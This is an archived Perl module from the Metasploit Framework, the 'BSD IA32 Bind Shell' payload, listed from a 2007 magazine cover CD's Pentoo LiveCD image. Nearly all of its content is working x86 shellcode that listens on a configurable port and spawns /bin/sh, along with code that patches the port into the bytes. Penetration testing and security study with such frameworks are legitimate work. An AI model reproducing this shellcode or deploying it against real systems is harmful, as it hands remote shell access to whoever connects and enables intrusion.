home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / bsd_ia32_bind.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  1.8 KB  |  69 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::bsd_ia32_bind;
  11. use strict;
  12. use base 'Msf::PayloadComponent::BindConnection';
  13.  
  14. my $info =
  15. {
  16.   'Name'         => 'BSD IA32 Bind Shell',
  17.   'Version'      => '$Revision: 1.2 $',
  18.   'Description'  => 'Listen for connection and spawn a shell',
  19.   'Authors'      => [ 'vlad902 <vlad902 [at] gmail.com>', 
  20.                       'skape <mmiller [at] hick.org>'],
  21.   'Arch'         => [ 'x86' ],
  22.   'Priv'         => 0,
  23.   'OS'           => [ 'bsd' ],
  24.   'Size'         => '',
  25. };
  26.  
  27. sub new 
  28. {
  29.     my $class = shift;
  30.     my $hash = @_ ? shift : { };
  31.     $hash = $class->MergeHashRec($hash, {'Info' => $info});
  32.     my $self = $class->SUPER::new($hash, @_);
  33.  
  34.     $self->_Info->{'Size'} = $self->_GenSize;
  35.     return($self);
  36. }
  37.  
  38. sub Build 
  39. {
  40.     my $self = shift;
  41.     return($self->Generate($self->GetVar('LPORT')));
  42. }
  43.  
  44. sub Generate {
  45.     my $self = shift;
  46.     my $port = shift;
  47.     my $off_port = 0x8;
  48.     my $port_bin = pack('n', $port);
  49.  
  50.     my $shellcode =
  51.         "\x6a\x61\x58\x99\x52\x68\x10\x02\xbf\xbf\x89\xe1\x52\x42\x52\x42" .
  52.         "\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0" .
  53.         "\x6a\xcd\x80\x52\x53\x52\xb0\x1e\xcd\x80\x97\x6a\x02\x59\x6a\x5a" .
  54.         "\x58\x51\x57\x51\xcd\x80\x49\x79\xf5\x50\x68\x2f\x2f\x73\x68\x68" .
  55.         "\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53\xb0\x3b\xcd\x80";
  56.  
  57.     substr($shellcode, $off_port, 2, $port_bin);
  58.  
  59.     return($shellcode);
  60. }
  61.  
  62. sub _GenSize {
  63.   my $self = shift;
  64.   my $bin = $self->Generate('4444');
  65.   return(length($bin));
  66. }
  67.  
  68. 1;
  69.